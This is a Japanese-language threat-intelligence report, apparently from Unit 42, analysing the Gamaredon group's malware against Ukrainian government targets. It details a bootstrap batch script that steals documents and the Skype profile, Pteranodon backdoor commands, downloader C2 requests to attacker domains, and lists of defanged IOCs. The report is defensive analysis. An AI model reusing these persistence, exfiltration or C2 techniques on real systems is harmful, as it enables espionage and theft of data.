This post is also available in: English (英語)
概要
先日、Palo Alto Networksの脅威インテリジェンスチームUnit 42の脅威リサーチャーは、脅威グループが特別仕様で開発された新型マルウェアを配信しているのに気付きました。私たちはこの脅威グループにGamaredonグループと名付けましたが、私たちのリサーチからGamaredonグループが少なくとも2013年以降活動していることが分かりました。
従来、Gamaredonグループは市販のツールに大きく頼っていましたが、私たちの新たなリサーチにより、Gamaredonグループが特別仕様で開発されたマルウェアへと移行したことが分かりました。この移行はGamaredonグループが自分たちの技術的な能力を向上させたことを示すものである、と私たちは信じています。特別仕様で開発されたマルウェアはフル機能であり、下記の機能を備えています。
- 自由に選んだ追加のペイロードをダウンロードし実行するメカニズム
- システム ドライブをスキャンして特定のファイル タイプを探し出す機能
- スクリーンショットをキャプチャする機能
- ユーザーのセキュリティ コンテキストにおいて、システム上のコマンドをリモートから実行する機能
Gamaredonグループは、主として、侵害を受けたドメイン、ダイナミックDNSプロバイダ、ロシアおよびウクライナの国別コードトップレベルドメイン(ccTLD)、ロシアのホスティング プロバイダを利用して、特別仕様で作成されたマルウェアを配信します。
マルウェア対策技術は、このグループが開発したマルウェアの検出に関する実績が乏しいのですが、それはこのマルウェアのモジュール的な特質によるものである可能性が高いと私たちは信じています。モジュール的な特質とは、バッチ スクリプトを多用すること、および正規のアプリケーションやツール(wgetなど)を悪意のある目的で悪用することを指します。
以前、ある攻撃活動に関してLookingGlassがレポートした際、この攻撃活動に“オペレーションArmageddon”と名付けましたが、これはウクライナの軍および国家安全保障・国防会議に関係のある個人を標的にしていました。本件のグループがその攻撃活動の背後にいたと確信しているため、私たちは本件のグループにGamaredonグループと命名しました。因みにGamaredonは“Armageddon”のアナグラムです。現時点では、このグループが配信している新型ペイロードがオペレーションArmageddonの続きなのか、それとも新たな攻撃活動なのか不明です。
Gamaredon: 過去から現在に至るツールの分析
この脅威グループが配信したサンプルで、発見された最も古いもの(コンパイル時刻とサンドボックス サブミット時刻に基づく)は、SymantecおよびTrend MicroがGamaredonについて解説していたものに類似しています。しかし、都合の悪いことに、この同一性を示す根拠は不十分です。それは、本件で脅威の攻撃者が使っているペイロードの最初の亜種を特定しているのに過ぎないように思えるためです。後発のペイロード亜種に関して、一部のサンプルにも一般的で不安定な名称のTROJ_RESETTER.BBおよびTROJ_FRAUDROP.EXが付けられています。
当初、この脅威グループが標的に配信したペイロードは、パスワードで保護された自己解凍型Zipアーカイブ(.SFX)ファイルで構成されていました。このSFXは、解凍時にバッチ スクリプトをディスクに書き込み、Remote Manipulator System (リモート操作システム)(図1)と呼ばれる正規のリモート管理ツールをインストールしました。脅威グループは、このRemote Manipulator Systemを悪意のある目的で悪用しようとしました。
そのような自己解凍型アーカイブの1つ(ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc)が、2014年4月頃、初めて発見されました。それが自己解凍用に使ったパスワード(パスワード保護された多数のSFXペイロードで使い回しされている)は“1234567890__”です。私たちがこのSFXファイルを確認した際、これに含まれていたファイルには“123.cmd”という名前のバッチ ファイルおよび“setting.exe”という名前の別のSFXが含まれていました。この2番目のSFXには、Remote Manipulator Systemをインストールする.MSIインストーラー パッケージ、および、このインストール作業を操作するバッチ スクリプトが含まれています。
後発のペイロードは、バッチ スクリプトをディスクに書き込むほか、wgetバイナリも書き込もうとしました。このバッチ スクリプトは、wgetバイナリを使って新たに実行可能ファイルをダウンロードし実行しようとしました。また、wgetを使ってPOSTリクエストをコマンド アンド コントロール(C2)サーバに送信しようとしました。その際、POSTリクエストには侵害を受けたシステムに関する情報が含まれていました。こうしたペイロードの一部には、マルウェアが実行された際に開かれるおとりのドキュメントが含まれていました。
この種のペイロードに関する3つのサンプルには、以下のものがあります。
- a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7
- b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
- 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b
2014年、私たちはこれらのサンプルがwgetを使っているのに初めて気付きました。これらのサンプルが使っていたファイル名とおとりのドキュメントは、個人を誘い込むのに、テーマとして、ウクライナ大統領の政権、ウクライナ国家安全保障・国防会議、ウクライナにおけるテロ対策オペレーション ゾーン、およびウクライナの愛国心を使っていました。そのようなおとりドキュメントの1つにある文面を画像化して、以下に示します。
他に観察されたペイロードも、やはり、SFXファイルを使ってバッチ スクリプトと実行可能ファイルを配信しようとしましたが、この実行可能ファイルはVNCプロトコルを使ってリモート アクセスを可能にするものでした。これらのVNC実行可能ファイルは、SFXファイルの中に含まれているか、あるいはバッチ スクリプトによってダウンロードされました。私たちは、VNC実行可能ファイルを提供していたURL(今では閉鎖)を1つ発見しましたが、このVNC実行可能ファイルをマルウェアがダウンロードし、実行しようとしました。私たちが発見したURLはhxxp://prestigeclub.frantov.com[.]ua/press-center/press/chrome-xvnc-v5517.exeでした。
バッチ スクリプトは、引き続き、VNCプログラムをコマンド アンド コントロール(C2)サーバに接続させて、侵害を受けたシステムをサーバが制御できるようにしようとしました。侵害を受けたシステム上にインストールされたVNCを私たちが確認した際、いずれにも同じ設定ファイル、RC4キー ファイル、およびパスワードが使われていました。
そのようなサンプルの1つ、cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31は、2015年1月頃、初めて姿を現しました。このサンプルで使われていたバッチ スクリプトは、確実にVNC接続が利用できるようにするものでした。
VNCを使っているインプラントすべてにわたるVNC設定ファイル(UltraVNC.ini)の中で設定されているパスは、“Y:\ПРОБА\Создание троянов\создание RMS\vnc”です。これは、ハードコード化されたキリル文字のファイル パスをインプラントが使っている唯一の場所ではありません。バッチ スクリプトの多くも、ハードコード化されたパスを使っています。例えば、“Главное меню\Программы\Автозагрузка”などがあります。多くのペイロードには、ダイアログ ボックスをユーザーに提示してマルウェアの起動を促すVBSスクリプトも、やはり含まれています。そこにはこう書いてあります。“Ошибка при инициализации приложения (0xc0000005).Повторить попытку открытия файла?”(ロシア語からの翻訳: アプリケーションの初期化に失敗(0xc0000005)。ファイルをもう一度オープンしますか。)
一部のSFXファイルにも、ChkFlsh.exe (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845)と呼ばれる、別の正規のアプリケーションが含まれています。このアプリケーションはウクライナのプログラマーによって書かれたものであり、USBフラッシュ ドライブのパフォーマンスを確認するのに使われます。攻撃者にとってのこれの価値は不明ですが、1つの可能性として、何らかの方法でUSBデバイス上のファイルを盗む、または監視するのにこれを利用する、ということが挙げられます。私たちのリサーチにおいて、このアプリケーションがVNCプログラムと共に内部に存在するSFXファイルもあれば、VNCプログラムが内部に含まれていないSFXファイルもあることが分かりました。
特別仕様のインプラント
確認済みのごく最近のサンプルは今もバッチ スクリプトとSFXファイルを使っていますが、Gamaredonグループはwget、Remote Manipulator Tool、VNCおよびChkFlsh.exeのようなアプリケーションから離れてしまいました。wgetを使う代わりに、攻撃者は特別仕様で開発されたダウンローダーを、Remote ManipulatorまたはVNCの代わりに、マルウェアは特別仕様で開発されたリモート アクセス インプラントを使っています。
2015年6月、多くの新型サンプルが使っていた特別仕様のダウンローダーが初めてネット上で確認されました。そして、このダウンローダーは“LocalSMS.dll”という名前のSFXインプラントの中に含まれていることがよくあり、adobe.update-service[.]net (サンプル内でハードコード化済み)に対するリクエストを作成しますが、詳しい説明については付録Aを参照してください。
2016年2月、SFXインプラントに含まれている別の特別仕様のツールがネット上で確認されました。このSFXファイル(3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9)には、“Pteranodon”と私たちが呼んでいる新型のトロイの木馬(598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824)が含まれています。Pteranodonは特別使用のバックドアで以下のタスクを行うことができます。
- 設定可能な間隔でスクリーンショットをキャプチャし、このスクリーンショットを攻撃者にアップロードする
- 追加のファイルをダウンロードし実行する
- システム上で任意のコマンドを実行する
Pteranodonの最初期のバージョンは、ハードコード化されたURLをコマンド アンド コントロール用に使っています。POSTリクエストを“msrestore[.]ru/post.php”に送信しますが、その際、静的なマルチパート境界として次を使います。
————870978B0uNd4Ry_$
新バージョンのツールも、ハードコード化されたドメインおよびマルチパート境界を使います。類似のpdb文字列も、新旧バージョンで共有しています。他のPteranodonサンプルは、Pteranodonタグを使うことでAutoFocusにて発見することができます。ごく最近のPteranodonの亜種に関する分析は、付録Aを参照してください。
今までのところ、新しいインプラントに関する配信経路を1つ特定することしかできていません。2016年12月に始めて確認されたJavascriptファイル(f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd)は、リソースをhttp://samotsvety.com[.]ua/files/index.pht (ステージング ペイロード用に使われた、侵害を受けたサイトの可能性が高い)からダウンロードします。これは、従来、Gamaredonの2つの特別仕様ツールを含んだSFXファイル(b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875)でした。
関連サンプル(e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4)は、同じ特異なミューテックスを使っていました。また、分析用ツール一揃いを従来よりも多数含んでいます。ファイルの元の名前は“AdapterTroubleshooter.exe”であり、下図のように、OpenVPNが使用しているアイコンに類似のアイコンを使っています。
AutoFocus内におけるこのサンプルのファイルの活動を調査すると、このサンプルが自己解凍型の実行可能ファイルであることが、すぐに分かりました。
サンプルを7zipでvirtual machine (仮想マシン - VM)内で開くことで、すべてのファイルの内容を調査できます。下の表に、SHA256値、ファイル名、コンパイル時刻、およびSFXファイルの内容に関するpdbパスがまとめてあります。
SHA256 | ファイル名 | コンパイル時刻 | PDBパス |
400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 | LocalSMS.dll | Wed Apr 29 08:10:30 2015 | c:\users\viber\documents\visual studio 2013\projects\contextmenu\release\contextmenu.pdb |
d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 | MpClients.dll | Thu Sep 08 05:01:00 2016 | c:\users\user\documents\visual studio 2015\projects\updaterv1\release\updaterv1.pdb |
f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 | OfficeUpdate.dll | Wed Dec 07 09:25:57 2016 | – |
2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 | SmartArtGraphicsLog.lnk | – | – |
46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d | UsrClass.lnk | – | – |
a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b | condirs.cmd | – | – |
37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac | winrestore.dll | Mon Jan 09 03:12:39 2017 | c:\develop\ready\winrestore – proxy\release\winrestore.pdb |
90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd | wmphost.exe | Thu Dec 01 08:23:32 2016 | c:\develop\ready\mouse-move\mouse-move\release\mouse-move.pdb |
サンプルのブートストラップのロジックは、“condirs.cmd”の内容に依拠しています。簡単に言えば、“condirs.cmd”内のロジックは次のとおりです。
1.“%LOCALAPPDATA%\Microsoft\Windows\”が存在することを確認する
2.サンプルの実行の邪魔になる可能性のあるプロセス、ファイル、およびスケジュール化されたタスクをkillし削除する
3.“winrestore.dll”を“%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll”にコピーする
4.“OfficeUpdate.dll”を“%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll”にコピーする
5.オペレーティング システムがWindows XPなのかWindows 7なのか、判定する
6.オペレーティング システムがWindows XPの場合、
a. ファイルのコピー先となるディレクトリを“%WINDIR%\Setup\State\Office”として設定する
b. “UsrClass.lnk”を“%USERPROFILE%\Главное меню\Программы\Автозагрузка\”にコピーする
c. “SmartArtGraphicsLog.lnk”を“%USERPROFILE%\Главное меню\Программы\Автозагрузка\”にコピーする
7.オペレーティング システムがWindows 7の場合、
a. ファイルのコピー先となるディレクトリを“%APPDATA%\Microsoft\Office”として設定する
b. “UsrClass.lnk”を“%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\”にコピーする
c. “SmartArtGraphicsLog.lnk”を“%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\”にコピーする
8.“winrestore.dll”を、ステップ6または7aで設定したディレクトリに“MSO1234.win”というファイル名でコピーする
9. “LocalSMS.dll”を、ステップ6または7aで設定したディレクトリに“MSO1567.dls”というファイル名でコピーする
10. “OfficeUpdate.dll”を、ステップ6または7aで設定したディレクトリに“MSO5678.usb”というファイル名でコピーする
11. “MpClients.dll”を、ステップ6または7aで設定したディレクトリに“MSO8734.obn”というファイル名でコピーする
12.“MSO1234.win”内のエクスポートされた関数“updater”を、rundll32.exeにより実行する
13.“MSO1567.dls”内のエクスポートされた関数“EntryPoint”を、rundll32.exeにより実行する
ここで注意する必要があるのは、“UsrClass.lnk”が“%WINDIR%\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll,updater”へのリンクであること、および“SmartArtGraphicsLog.lnk”が“C:\WINDOWS\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll,StartBackup”へのリンクであることです。これらは、“winrestore.dll”および“OfficeUpdate.dll”の、それぞれステップ3と4でコピー先となった位置です。
“condirs.cmd”スクリプトは、次に、引き続き以下の処理を行います。
1.以下のタスクをスケジュールします。
a. タスク名“UpdatesWinRes”、これは“MSO1234.win,updater”を起動する
b. タスク名“UpdatesWinDLL”、これは“MSO1567.dls,EntryPoint”を起動する
c. タスク名“UpdatesWinUSBOOK”、これは“MSO5678.usb,StartBackup”を起動する
d. タスク名“UpdatesWinOBN”、これは“MSO8734.obn,bitDefender”を起動する
2.ディレクトリ“%Temp%\reports\ProfileSkype\”が存在することを確認する
3.“skype.exe”という名のプロセスをkillする
4.“%AppData%\Skype”の内容を“%Temp%\reports\ProfileSkype\”にコピーする
5.“%Temp%\reports\%COMPUTERNAME\”の下に次の名前でサブディレクトリを作成する: Z W P S V Q N M L K I J F H E GおよびD (これらはドライブ レターである)
6.上記ドライブ レターに由来するファイルで拡張子が“doc”、“docx”、“xls”、“xlsx”、“rtf”、“odt”および“txt”のものを、すべて“%TEMP%\reports\%COMPUTERNAME%\%%d\”にコピーする。ただし、%%dはドライブ レターである。
7.上記拡張子の全ファイルを、全ユーザーの“Desktop”、“Documents”および“Downloads”フォルダーから、それぞれ“%TEMP%\reports\%COMPUTERNAME%\Desktop\”、“%TEMP%\reports\%COMPUTERNAME%\Documents\”および“%TEMP%\reports\%COMPUTERNAME%\Downloads\”にコピーする
8.“MSO5678.usb”内のエクスポートされた関数“StartBackup”を、rundll32.exeにより実行する
9.“MSO8734.obn”内のエクスポートされた関数“bitDefender”を、rundll32.exeにより実行する
10.一時ファイルをクリーンアップし、スリープし、自身を削除する
このスクリプトが作業を完了すると、一連のインプラントがシステム上に導入され、これらのインプラントにより、攻撃者はファイルの盗み出し、スクリーンショットのキャプチャ、および検出の回避を行うことができます。個々のインプラントに関する詳細な分析については、付録Aを参照してください。
インプラント間のトレンド
侵害されたシステムの制御に使用されるペイロードが時間の経過とともに進化するにつれ、サンプル間で多くの類似点が見られるようになりました。このブログでは、このグループによって分散されるサンプルのすべてが説明されていないとはいえ、既知のサンプルのハッシュは、セキュリティ侵害の痕跡セクションに含まれています。関連するサンプルに関する興味深い動作は次のとおりです。
- バッチ スクリプトの多くには、一般的な英単語のスペルミスが含まれます。そのような例の1つは、ファイル名「cmd」です。別の例「domen」はバッチ スクリプトの変数名で、これは「ドメイン」を意味する名前のようです。
- すべてのサンプルのほとんどのバッチ スクリプトは、スリープの手段としてlocalhostをpingします。
- バッチ スクリプトの多くは「cmd」という名前で、一部には「Trons_ups」と「Treams」という文字列が含まれます。
- バッチ スクリプトの多くは、オペレーティング システムのバージョンを特定するときと同じコマンドを使用しています。
- 以前のサンプルの多くは、wget、UltraVNC、ChkFlashなどのアプリケーションを使用していました。これらのユーティリティは、最新サンプルのカスタム ツールに置き換えられました。
- VNCを採用するサンプルは、同じ設定とパスワードを使用しています。
また、このグループが使用するインフラストラクチャは、過去3年間ほとんど変化していません。サンプルの多くは、インプラント通信用に同じドメインを再使用していました。さらに、カスタム開発ツールの多くは、ハードコーディングされたネットワーク ロケーションを使用します。
ファイル名で使用されるMoniker、エクスポートされたDLL関数、ドメイン、スクリプト内の変数名は、テーマがあって一貫性のあるものです。AutoFocus内のSFXインプラントの1つでその兆候から割り出すと、これらの矛盾の重複から追加サンプルを簡単に識別できます。ほとんどのサンプルは、同様の方法で提供されています。つまり、SFXがリソースを削除した後、バッチやVBSスクリプトでステージングとロードが行われます。IPv4アドレス間のSSL証明書、ドメイン名の間のIPv4アドレスの再使用は、以下のとおり、この活動に関係するエンティティを表示する際に明確になります。
最も新しいサンプルの1つ(付録Aで分析)に重点を置くと、ファイル名とSFXコンテンツ ファイルが再使用されていることが明らかになります。
最後に
特定されたインプラントでは、一般的で限定された、矛盾することの多いVirusTotalが検出されています。これらのインプラントを使用する脅威グループは、少なくとも2014年からアクティブであり、ウクライナ政府の活動に関与している個人を標的としてきました。一部のサンプルは、Gamaredonなどの複数のアンチウイルス ベンダーで検出される配信メカニズムとインフラストラクチャを共有します。ただし、より新しい変種では、より高度な無名のマルウェアを配信します。
パロアルトネットワークスのリサーチャーは、WildFire実行レポートを探索し、タグ付けされていないサンプルのアーチファクトを特定するために、AutoFocusを使用して、これまでに検出されていないマルウェア ファミリー、動作、および活動を特定します。
このブログには、AutoFocusを使用して上記プロセスの脅威グループを特定します。アラートによる優先順位付けを待機するのではなく、悪意のある活動とファイルを積極的に探索することで、新しい脅威が社内ネットワークやエンドポイントに侵入する前に、保護を識別して構築できます。この脅威グループの詳細は、AutoFocusタグ GamaredonGroup.をご覧ください。
Palo Alto Networksのお客様は、次の方法で脅威から保護されています。
- WildFireは、このレポートに記載されているマルウェアを悪意があるものとして特定します。
- Trapsは、このレポートで説明されているマルウェアの実行を阻止します。
- このグループで使用するC2ドメインは、脅威防御を通じてブロックされています。
この調査における支援とその魅力的な容貌に対し、Tom Lancasterに深く感謝します。
付録A: カスタム インプラント分析
USBStealer: MSO5678.usb / OfficeUpdate.dll
このファイルは、その内部名「USBgrabber.dll」でも類推できるように、USBファイル搾取マルウェアです。ただし、その実装はずさんなため、システム上で新たに接続された論理ボリュームにおけるファイル搾取マルウェアになります。これは、コンピュータでWM_COMMANDとWM_DEVICECHANGEメッセージを監視するもの、USBドライブが接続されたかどうかを確認できないために発生します。
このマルウェアでは、“__Wsnusb73__”および“__Wsnusbtt73__”という2つのミューテックスを作成します。次に、ローカル ユーザーの一時パスに、次のフォルダが作成されます。
“C:\Users\\AppData\Local\Temp\reports”
このフォルダは、新たに接続された論理ドライブからすべてのファイルをコピーし、C2サーバーにアップロードするための一時的な場所として使用されます。このファイルは、HTTP POSTメソッドを通じて、ハードコーディングされたC2サーバ“195.62.52.93”に1つずつ転送されます。次の要求が使用されますが、被害者、転送するファイル、およびソース ドライブに関する情報も含まれます。
このマルウェアでは、ローカル ユーザーの一時フォルダにSQLiteデータベース“asha.dat”も作成します。その後、ファイル名のMD5ハッシュを計算して、ファイルの長さを追加することで、盗難にあったファイルを追跡します。つまり、ドライブから元のファイル パスのUnicode文字列を作成し、ファイル サイズをバイト単位で連結します。最後に、API関数MD5Init()、MD5Update()、MD5Final()を使用してハッシュを計算し、データベースに保存します。
データベースに追加されるのは、次の拡張子を持たないファイルのハッシュのみです。
- DLL
- BIN
- CAB
- EXE
- ISO
ダウンローダー: MSO1567.dls / LocalSMS.dll
このファイルは本質的に、C2サーバに接続してユーザー データを送信するための単純なダウンローダーです。また、そのレスポンスとして実行可能ファイルを取得し、実行します。C++で作成されているDLLは、すべての機能を含んでおり、エクスポート関数“EntryPoint”になります。このファイルは、コンパイラまたはリンカーの最適化なしでコンパイルされたものであるため、ファイル サイズが大きく、PDBパス文字列が残っています。
最初に、マルウェアはローカル ユーザーの一時パス(“C:\Users\\AppData\Local\Temp\”)、コンピュータ名(“WIN-MLABCSUOVJB”など)、ハードウェア プロファイルGUID (“{826ee360-7139-11de-8d20-808e6f6e6263}”など)、およびC:\ドライブのボリューム シリアル番号(“1956047236”)を検出します。その後、次のハードコーディングされた文字列を取得します。
http://adobe.update-service[.]net/index.php?comp=
C2サーバに接続するために、被害者情報を含んだURL文字列を作成するには:
- http://adobe.update-service[.]net/index.php?comp=WIN-MLABCSUOVJB&id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236
ダウンロードしたファイルの保存先のファイル名を作成するために、10文字のランダム文字列が作成されます。ただし、実装エラーが原因で、常に“frAQBc8Wsa”という同じ文字列になります。この文字列は、検出されたローカル ユーザーの一時パスから次のファイル パスに連結されます。
- C:\Users\\AppData\Local\Temp\frAQBc8Wsa
その後、API関数URLDownloadToFileA()を使用して、ペイロードをディスクにダウンロードし、CreateProcess()を介して実行します。最後に、60秒間スリープした後でペイロードを停止し、DLLを終了させます。
ダウンローダー: MSO8734.obn / MpClients.dll
このファイルは、LocalSMS.dllダウンローダーを少し高度化したものです。ペイロードをディスクに直接ダウンロードする代わりに、このファイルは、C2サーバからのダウンロード コマンドを要求します。このファイルには、実際に使用されるペイロードURLが含まれます。つまり、Winsock関数に基づいた基本的なネットワーク実装を使用します。このDLLのすべての機能は、“bitDefender”という名前のエクスポート関数に組み込まれます。
これは、ソケットを作成し、ハードコーディングされたC2サーバ“win-restore.ru”のアドレスをgethostbyname()を介してリクエストして、それに接続します。その後、C:\ドライブのボリューム シリアル番号、コンピュータ名、ハードウェア プロファイルGUIDも収集します。この情報に基づいて、後続のsend()関数呼び出しで使用される次の文字列を作成します。
“GET /css.php?id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1
Host: win-restore.ru
Connection: close”
そのレスポンスは、recv()を介してメモリ バッファに保存され、文字列“urltoload={“のスキャンが行われます。その名前が示すとおり、受信したデータには、実際のURLのペイロードが波かっこで囲まれて格納されています。文字列からURLがプル アウトされ、API関数URLDownloadToFile()の入力として再度使用されます。ここでも、ディスクにペイロードを格納して実行するために、次の同じファイル パスが使用されます。
“C:\Users\\AppData\Local\Temp\frAQBc8Wsa”
Pteranodon: MSO1234.win / winrestore.dll
Pteranodonはバックドアであり、ディスク上に作成された構成ファイルに基づいてスクリーンショットも取得できます。さらに、暗号化されていない状態でスクリーンショットをC2サーバにアップロードします。このDLLのすべての機能は、“updater”という名前のエクスポート関数に組み込まれます。
最初に、ローカル ユーザーの%APPDATA%フォルダを検出し、次のファイル パスを作成します。
“C:\Users\\AppData\Roaming\Microsoft\desktop.ini”
その後、ファイルがすでに存在するかどうかを確認し、その場合は実行を継続します。存在しない場合は、アンチサンドボックス テクニックとしてのマウス操作がないかどうかを確認するルーチンを実行します。マウス操作がない場合は、マルウェアは無限ループを実行して、マウス操作を探します。
“desktop.ini”ファイルが存在しない場合は、マルウェアはそれを作成し、次の情報を追加します。
” interval={60} msfolder={10} status={0}”
この情報は、スクリーンショットを作成するための構成データとして使用されます。さらに、C2サーバから検出できるその他のコマンドもあります。以下のコマンドを使用できます。
exec={
このコマンドは、波かっこで囲まれたURLからペイロードをダウンロードして実行するために使用されます。これは、一時フォルダにランダム ファイル パスを作成し、URLDownloadToFile()およびCreateProcess()を呼び出して、ペイロードを実行します。次に、30秒間待機した後、ペイロードを終了します。
interval={
このコマンドは、2つ以上のスクリーンショットを作成する間に、その間隔を秒数で定義するために使用されます。
msfolder={
このコマンドは、作成するスクリーンショットの数を定義します。
command={ / command_c={
このコマンドは、波かっこで囲まれた文字列として存在するファイルの実行に使用されます。“c”の亜種は、ShellExecute()を実行することで、Windowsツールのcmd.exeを使用します。
status={
このコマンドにはフラグが含まれており、これにより、スクリーンショットを(“1”)または(“0”)にするかどうかを定義できます。
次に、ミューテックス“asassin1dj”をチェックして、システムがすでに感染しているかどうかを確認し、そうでない場合はそれを作成します。
図8 ミューテックスのチェックと作成ルーチン
次に、すでに存在しない場合は、次のフォルダを作成します。
“C:\Users\\AppData\Roaming\Microsoft\store”
その後、“desktop.ini”の構成データに従って、24ビットのカラー深度JPEGスクリーンショット(拡張子なし)を常に格納フォルダに作成します。その際には、GDI32関数とgdiplus API関数を実行します。スクリーンショットでは、次の名前スキームが使用されます。
_
最後のスクリーンショットが作成された後、“store”フォルダのすべてのファイルをC2サーバ“win-restore[.]ru”にアップロードします。その後、フォルダに存在するすべてのファイルが削除された後、新しいスクリーンショット作成サイクルが開始されます。どのファイルがアップロードされたかを確認する方法はないことに注意してください。ファイルはPOST HTTPメソッドを介して、スクリプト“vvd.php”にアップロードされます。このため、被害者だけでなくJPEGファイルのデータを含む、次のHTTPリクエストが使用されます。
最後に、C2サーバに新しいコマンド情報があるかどうかを確認し、それに応じて“desktop.ini”ファイルを更新します。機能、コンパイル タイムスタンプ、バイナリの違いから鑑みると、このマルウェアは、598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824のアップデート版である可能性が高いといえます。
wmphost.exe
このファイルは、マウス動作が検出されるまで無限ループを実行してから、終了します。このファイルは、マウス動作をシミュレートしないサンドボックスの回避に使用できます。サンドボックス内部で実行されているかどうかを検出するには、別のファイルで実行プロセスのリストをスキャンして、“wmphost.exe”が存在するかどうかを確認してください。
付録B: セキュリティ侵害の兆候
ドメイン名
admin-ru[.]ru
adobe.update-service[.]net
apploadapp.webhop[.]me
brokbridge[.]com
cat.gotdns[.]ch
check-update[.]ru
childrights.in[.]ua
conhost.myftp[.]org
docdownload.ddns[.]net
downloads.email-attachments[.]ru
downloads.file-attachments[.]ru
dyndownload.serveirc[.]com
e.muravej[.]ua
email-attachments[.]ru
file-attachments[.]ru
freefiles.myftp[.]biz
getmyfile.webhop[.]me
googlefiles.serveftp[.]com
grom56.ddns[.]net
grom90.ddns[.]net
hrome-update[.]ru
hrome-updater[.]ru
loaderskypetm.webhop[.]me
loadsoulip.serveftp[.]com
mail.file-attachments[.]ru
mails.redirectme[.]net
mars-ru[.]ru
msrestore[.]ru
oficialsite.webhop[.]me
parkingdoma.webhop[.]me
poligjong.webhop[.]me
polistar.ddns[.]net
proxy-spread[.]ru
rms.admin-ru[.]ru
samotsvety.com[.]ua
skypeemocache[.]ru
skypeupdate[.]ru
spbpool.ddns[.]net
spread-service[.]ru
spread-ss[.]ru
spread-updates[.]ru
stor.tainfo.com[.]ua
tortilla.sytes[.]net
ukrnet.serveftp[.]com
ukrway.galaktion[.]ru
umachka[.]ua
update-service[.]net
updatesp.ddns[.]net
updateviber.sytes[.]net
webclidie.webhop[.]me
win-restore[.]ru
winloaded.sytes[.]net
winupdateloader[.]ru
www.file-attachments[.]ru
www.win-restore[.]ru
yfperoliz.webhop[.]me
URL:
http://childrights.in[.]ua/public/manager/img/scrdll.ini
http://prestigeclub.frantov[.]com.ua/press-center/press/chrome-xvnc-v5517.exe
http://umachka[.]ua/screen/dk.tmp
http://umachka[.]ua/screen/screen.tmp
http://viberload.ddns[.]net/viber.nls
ハッシュ:
カスタム開発ツールを使用するサンプル:
002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705
08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6
0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27
0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9
0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494
145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8
222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d
2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37
3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d
3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9
37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac
3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89
400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501
598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824
5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9
5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395
840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656
90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd
97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34
9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d
9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312
a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75
a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a
a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5
ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da
b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875
b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a
be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d
